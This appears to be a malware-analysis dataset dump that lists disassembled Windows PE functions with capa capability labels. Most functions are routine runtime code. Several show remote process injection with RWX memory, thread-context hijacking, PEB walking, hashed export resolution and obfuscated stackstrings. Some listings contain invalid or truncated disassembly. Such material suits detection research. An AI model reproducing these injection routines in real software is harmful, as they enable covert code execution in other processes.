joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008450
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push r14
sub rsp, 0x10
mov r10d, dword [rcx]
xor r9d, r9d
mov r11, r8
mov r14, rcx
lea eax, [r10*4]
test eax, eax
je 0x14000848c
nop
movzx eax, byte [r9 + rdx]
mov byte [r9 + r8], al
inc r9d
mov r10d, dword [rcx]
lea eax, [r10*4]
cmp r9d, eax
jb 0x140008470
mov eax, dword [rcx + 4]
lea r9d, [r10*4]
inc eax
shl eax, 4
cmp r9d, eax
jae 0x14000860d
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 8], r12
lea r12, str.cw
mov qword [rsp], r15
lea r15d, [r9 + 2]
nop dword [rax]
mov ebp, dword [r14]
lea eax, [r9 - 4]
movzx r8d, byte [rax + r11]
xor edx, edx
lea eax, [r9 - 3]
movzx r10d, r8b
movzx ebx, byte [rax + r11]
lea eax, [r9 - 2]
movzx edi, byte [rax + r11]
lea eax, [r9 - 1]
movzx esi, byte [rax + r11]
mov eax, r9d
shr eax, 2
div ebp
test edx, edx
jne 0x14000855b
movzx r10d, byte [rbx + r12]
xor edx, edx
movzx ebx, byte [rdi + r12]
mov eax, r9d
movzx edi, byte [rsi + r12]
mov cl, 1
movzx esi, byte [r8 + r12]
lea r8d, [rbp*4]
div r8d
sub eax, 1
je 0x140008556
mov r8d, eax
nop word [rax + rax]
movzx eax, cl
add cl, cl
shr al, 7
movzx eax, al
imul edx, eax, 0x1b
xor cl, dl
sub r8, 1
jne 0x140008540
xor r10b, cl
jmp 0x140008579
cmp ebp, 6
jbe 0x140008579
cmp edx, 4
jne 0x140008579
movzx r10d, byte [r8 + r12]
movzx ebx, byte [rbx + r12]
movzx edi, byte [rdi + r12]
movzx esi, byte [rsi + r12]
mov ecx, r9d
lea eax, [rbp*4]
sub ecx, eax
xor r10b, byte [rcx + r11]
mov ecx, r9d
mov byte [r9 + r11], r10b
mov eax, dword [r14]
shl eax, 2
sub ecx, eax
lea eax, [r15 - 1]
inc ecx
xor bl, byte [rcx + r11]
mov ecx, r9d
mov byte [rax + r11], bl
mov eax, dword [r14]
shl eax, 2
sub ecx, eax
add ecx, 2
xor dil, byte [rcx + r11]
mov ecx, r9d
mov byte [r15 + r11], dil
add r9d, 4
mov eax, dword [r14]
shl eax, 2
sub ecx, eax
lea eax, [r15 + 1]
add ecx, 3
add r15d, 4
xor sil, byte [rcx + r11]
mov byte [rax + r11], sil
mov eax, dword [r14 + 4]
inc eax
shl eax, 4
cmp r9d, eax
jb 0x1400084d0
mov r15, qword [rsp]
mov r12, qword [rsp + 8]
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
add rsp, 0x10
pop r14
ret
Function at 0x140009750
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000979a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000979a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000979a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000979a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000979a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000979c
xor al, al
add rsp, 0x28
ret

Function at 0x140012ff8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140012df4
Function at 0x140018048
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140018078
xor eax, eax
jmp 0x14001813b
mov rbp, rbx
cmp word [rax], si
je 0x14001809d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140018084
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140018080
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140017f68
movsxd r14, eax
test eax, eax
jne 0x1400180db
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140018071
mov rcx, r14
call fcn.14001460c
mov rdi, rax
test rax, rax
jne 0x1400180f4
xor ecx, ecx
call fcn.140013994
jmp 0x1400180d0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140017f68
test eax, eax
jne 0x140018125
mov rcx, rdi
call fcn.140013994
jmp 0x14001812f
xor ecx, ecx
call fcn.140013994
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14001c32c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001c342
mov al, 1
jmp 0x14001c3a2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001c353
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001c3a0
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400188b0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001c3a0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001c3a0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001c3a0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001c3a2
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14001d3e0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140016444
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001d46a
cmp byte [rbp - 0x21], r15b
je 0x14001d465
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14001d4a0
call fcn.140013be4
test eax, eax
jne 0x14001d48c
cmp byte [rbp - 0x21], r15b
je 0x14001d484
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14001d4a0
cmp byte [rbp - 0x21], r15b
je 0x14001d49d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400166b4
test eax, eax
jne 0x14001d540
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140016444
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001d4df
cmp byte [rbp - 0x21], r15b
je 0x14001d514
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14001d514
call fcn.140013be4
test eax, eax
jne 0x14001d500
cmp byte [rbp - 0x21], r15b
je 0x14001d4f9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14001d514
cmp byte [rbp - 0x21], r15b
je 0x14001d511
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400166b4
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001d540
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001d543
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001d551
mov rcx, rdi
call fcn.140013994
cmp byte [rbp + 0x3f], r15b
je 0x14001d560
mov rcx, qword [rbp + 0x27]
call fcn.140013994
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x14001fb80
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001fba8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001fba8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x2fc51b1d0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc51c2b0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc51bbd2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc53e108]
test eax, eax
je 0x2fc51bc6a
lea rax, [0x2fc53e0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc53e110]
mov qword [rbp - 8], rax
jmp 0x2fc51bc4e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc51bc42
cmp qword [rbp - 0x10], 0
je 0x2fc51bc42
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc51bc08
lea rax, [0x2fc53e0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc51bc6b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc51bd70
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc51bd98
mov eax, 0
jmp 0x2fc51bde6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc51bdc1
mov eax, 0
jmp 0x2fc51bde6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc51bde1
mov eax, 0
jmp 0x2fc51bde6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc51bdec
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc51be6a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc51be61
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc51be61
mov rax, qword [rbp - 8]
jmp 0x2fc51be7f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc51be34
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x180005bb0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rcx, qword [rcx + 8]
mov rdi, rdx
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp eax, 0xffffffff
jne 0x180005bf8
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x180005bf8
mov dword [rdi], 0
xor al, al
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp dword [rsp + 0x30], 0
jne 0x180005c07
cmp ebx, 0x7fffffff
jbe 0x180005c0c
mov ebx, 0x7fffffff
mov dword [rdi], ebx
mov al, 1
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180005c50
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x30
mov rcx, qword [rcx + 8]
lea r9, [rsp + 0x40]
xor eax, eax
mov ebx, r8d
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180005c84
cmp dword [rsp + 0x40], ebx
sete al
add rsp, 0x30
pop rbx
ret
mov al, 1
add rsp, 0x30
pop rbx
ret

Function at 0x180006740
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
mov qword [rsp + 8], rbx
xor r8d, r8d
mov rbx, rdx
mov r9, rcx
mov r10d, r8d
cmp rdx, 3
jbe 0x18000678e
mov r11, rdx
shr r11, 2
nop
mov eax, dword [r9]
add r9, 4
imul ecx, eax, 0xcc9e2d51
rol ecx, 0xf
imul eax, ecx, 0x1b873593
xor r10d, eax
rol r10d, 0xd
add r10d, 0xfaddaf14
lea r10d, [r10 + r10*4]
sub r11, 1
jne 0x180006760
mov rcx, rbx
and ecx, 3
je 0x1800067c7
lea rdx, [rcx - 1]
add rdx, r9
nop dword [rax]
movzx eax, byte [rdx]
lea rdx, [rdx - 1]
shl r8d, 8
or r8d, eax
sub rcx, 1
jne 0x1800067a0
imul eax, r8d, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor r10d, eax
xor r10d, ebx
mov rbx, qword [rsp + 8]
mov eax, r10d
shr eax, 0x10
xor eax, r10d
imul ecx, eax, 0x85ebca6b
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0xc2b2ae35
mov eax, ecx
shr eax, 0x10
xor eax, ecx
ret

Function at 0x1800083d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
sub rsp, 0x660
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x5cc], 0x8702
mov dword [rbp + 0x5c8], 0x37173b
mov dword [rbp + 0x5c4], 0x5ff2
mov dword [rbp + 0x5c0], 0x34686a
mov dword [rbp + 0x5bc], 0x90617
mov dword [rbp + 0x5b8], 0x341d22f
mov dword [rbp + 0x5b4], 0
mov qword [rbp + 0x5a8], 0
mov qword [rbp + 0x590], 0
mov qword [rbp + 0x588], 0
mov byte [rbp + 0x560], 0x66
mov byte [rbp + 0x561], 0x26
mov byte [rbp + 0x562], 0x47
mov byte [rbp + 0x563], 0x3f
mov byte [rbp + 0x564], 0x33
mov byte [rbp + 0x565], 0x35
mov byte [rbp + 0x566], 0x71
mov byte [rbp + 0x567], 0x3c
mov byte [rbp + 0x568], 0x79
mov byte [rbp + 0x569], 0x62
mov byte [rbp + 0x56a], 0x61
mov byte [rbp + 0x56b], 0x4b
mov byte [rbp + 0x56c], 0x63
mov byte [rbp + 0x56d], 0x5a
mov byte [rbp + 0x56e], 0x48
mov byte [rbp + 0x56f], 0x28
mov byte [rbp + 0x570], 0x66
mov byte [rbp + 0x571], 0x50
mov byte [rbp + 0x572], 0x6b
mov byte [rbp + 0x573], 0x5e
add byte [rax], al
pop rsi
Function at 0x180009450
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x88]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x38], rax
mov dword [rbp - 4], 0
cld
add byte [rax], al
add byte [rax], al
jmp 0x18000953e
mov eax, dword [rbp - 4]
lea rdx, [rax*4]
mov rax, qword [rbp - 0x28]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov rcx, rax
call fcn.18000940f
cmp eax, dword [rbp + 0x18]
jne 0x18000953a
mov eax, dword [rbp - 4]
lea rdx, [rax + rax]
mov rax, qword [rbp - 0x38]
add rax, rdx
movzx eax, word [rax]
movzx eax, ax
lea rdx, [rax*4]
mov rax, qword [rbp - 0x30]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
ret 0x8b48
adc byte [r8 + 1], r9b
shr bl, 1
invalid
add dword [rbp - 4], 1
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x18]
cmp eax, dword [rbp - 4]
ja 0x1800094d8
mov eax, 0
add rsp, 0x60

Function at 0x180009560
Capabilities:
Access peb ldr_data

Disassembly:
xor rax, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
ret

Function at 0x18000daac
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x18000dabf
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
lea rcx, [rsp + 0x20]
or edx, 0x80070000
test eax, eax
cmovle edx, eax
call fcn.18000e0d8
lea rdx, [0x1800510f0]
lea rcx, [rsp + 0x20]
call fcn.180029b1c
int3

Function at 0x1800198c0
Capabilities:
Set thread local storage value

Disassembly:
mov ecx, dword [0x180058e18]
xor edx, edx
jmp fcn.18000daac

Function at 0x18001a264
Capabilities:
Set thread local storage value

Disassembly:
mov rdx, rcx
mov ecx, dword [0x180058e18]
jmp fcn.18000daac

Function at 0x180025cf4
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x180025db0]
mov r9, qword [r9 + 8]
jmp fcn.180015d98

Function at 0x180025d88
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x180025dc0]
mov r9, qword [r9 + 8]
jmp fcn.180015d98
Function at 0x140011014
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x140011940
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1b8]
mov rax, qword [0x14001e1c0]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400240f3]
call fcn.1400113f2
mov r8d, dword [rbp + 0x180]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
je 0x1400119ad
cmp qword [rbp + 8], 0
jne 0x1400119b4
xor eax, eax
jmp 0x140011a47
mov qword [rbp + 0x28], 0x175
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x28]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x1400119e9
xor eax, eax
jmp 0x140011a47
mov qword [rbp + 0x68], 0
lea rax, [rbp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x28]
lea r8, section..data
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140011a20
mov byte [rbp + 0x154], 1
jmp 0x140011a27
mov byte [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
mov byte [rbp + 0x84], al
movzx eax, byte [rbp + 0x84]
test eax, eax
jne 0x140011a43
xor eax, eax
jmp 0x140011a47
mov rax, qword [rbp + 0x48]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ad80]
call fcn.14001137f
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111e5
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x1400110c3
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
jmp 0x140011e20
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x7b8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x156
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x7d8]
mov rax, qword [0x14001e1c0]
xor rax, rbp
mov qword [rbp + 0x788], rax
lea rcx, [0x1400240f3]
call fcn.1400113f2
mov rcx, qword [rbp + 0x7b0]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
test eax, eax
je 0x140011e88
mov byte [rbp + 0x784], 1
jmp 0x140011e8f
mov byte [rbp + 0x784], 0
movzx eax, byte [rbp + 0x784]
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
mov edx, eax
lea rcx, [0x14001af3c]
call fcn.1400111c7
mov dword [rbp + 0x60], 0x10000b
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 0x7b0]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140011ed0
mov byte [rbp + 0x784], 1
jmp 0x140011ed7
mov byte [rbp + 0x784], 0
movzx eax, byte [rbp + 0x784]
mov byte [rbp + 0x514], al
movzx eax, byte [rbp + 0x514]
mov edx, eax
lea rcx, [0x14001af3c]
call fcn.1400111c7
mov rax, qword [rbp + 0x7b8]
mov rax, qword [rax]
mov qword [rbp + 0x128], rax
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 0x7b0]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140011f28
mov byte [rbp + 0x784], 1
jmp 0x140011f2f
mov byte [rbp + 0x784], 0
movzx eax, byte [rbp + 0x784]
mov byte [rbp + 0x534], al
movzx eax, byte [rbp + 0x534]
mov edx, eax
lea rcx, [0x14001af3c]
call fcn.1400111c7
mov rcx, qword [rbp + 0x7b0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ae00]
call fcn.14001137f
mov rax, rdi
mov rcx, qword [rbp + 0x788]
xor rcx, rbp
call fcn.1400111e5
lea rsp, [rbp + 0x798]
pop rdi
pop rbp
ret

Function at 0x140011235
Capabilities:
Terminate process

Disassembly:
jmp 0x140013880
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011294
Capabilities:
Enumerate threads

Disassembly:
jmp 0x140011b70
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1e8]
mov rax, qword [0x14001e1c0]
xor rax, rbp
mov qword [rbp + 0x198], rax
lea rcx, [0x1400240f3]
call fcn.1400113f2
mov dword [rbp + 8], 0x1c
xor edx, edx
mov ecx, 4
call fcn.1400111d1
mov qword [rbp + 0x48], rax
lea rdx, [rbp + 8]
mov rcx, qword [rbp + 0x48]
call fcn.14001128a
lea rdx, [rbp + 8]
mov rcx, qword [rbp + 0x48]
call fcn.14001107d
test eax, eax
je 0x140011c88
mov eax, dword [rbp + 0x10]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x14]
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0x84]
cmp dword [rbp + 0x1c0], eax
je 0x140011c0f
jmp 0x140011bdb
mov r8d, dword [rbp + 0x64]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0xffffffffffffffff
je 0x140011c3b
cmp qword [rbp + 0xa8], 0
jne 0x140011c3d
jmp 0x140011bdb
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0xfffffff1
je 0x140011c6b
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140011bdb
mov edx, dword [rbp + 0x64]
lea rcx, str.____Found_Idle_Thread_With_ID:__ld_n
call fcn.1400111c7
mov rax, qword [rbp + 0xa8]
jmp 0x140011c8a
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ad00]
call fcn.14001137f
mov rax, rdi
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.1400111e5
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret

Function at 0x1400112da
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014bd0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014bf0
xor al, al
jmp 0x140014c71
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014c03
xor al, al
